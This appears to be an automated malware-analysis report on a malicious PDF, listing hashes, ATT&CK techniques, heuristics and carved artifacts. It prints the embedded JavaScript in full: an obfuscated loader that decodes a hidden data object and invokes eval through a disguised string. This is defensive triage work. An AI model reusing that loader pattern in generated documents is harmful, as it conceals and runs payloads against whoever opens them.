PDF malware analysis — malicious · 97ca9f69031cb95a

MALICIOUS

PDF

5.9 KB First seen: 2013-08-02

MD5: b84eb49b094c9cdae6eaa93ce70e1924 SHA-1: 1da8e921c059d2c706c6f5bb99112edb3cb41db8 SHA-256: 97ca9f69031cb95a168c5080ca78cda22a6d844cc8878ec4c495698940e7ab55

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file was flagged by an ML classifier as malicious with high confidence. It contains embedded JavaScript and an embedded binary file, indicating a likely attempt to download and execute a secondary payload. The presence of these elements strongly suggests a malicious intent, such as delivering malware.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	150300 bytes
SHA-256: `86ac39e8e1460afc67b4fc166b98559d2ffc6dc5f9bc5cde0563dc43071eacbb`
Detection ClamAV: No threats found Obfuscation or payload: likely 327 of 327 identifiers look randomly generated (e.g. 'TaLCj1abTkk28NTar1TaLCj1abTkk28NTar2TaLC') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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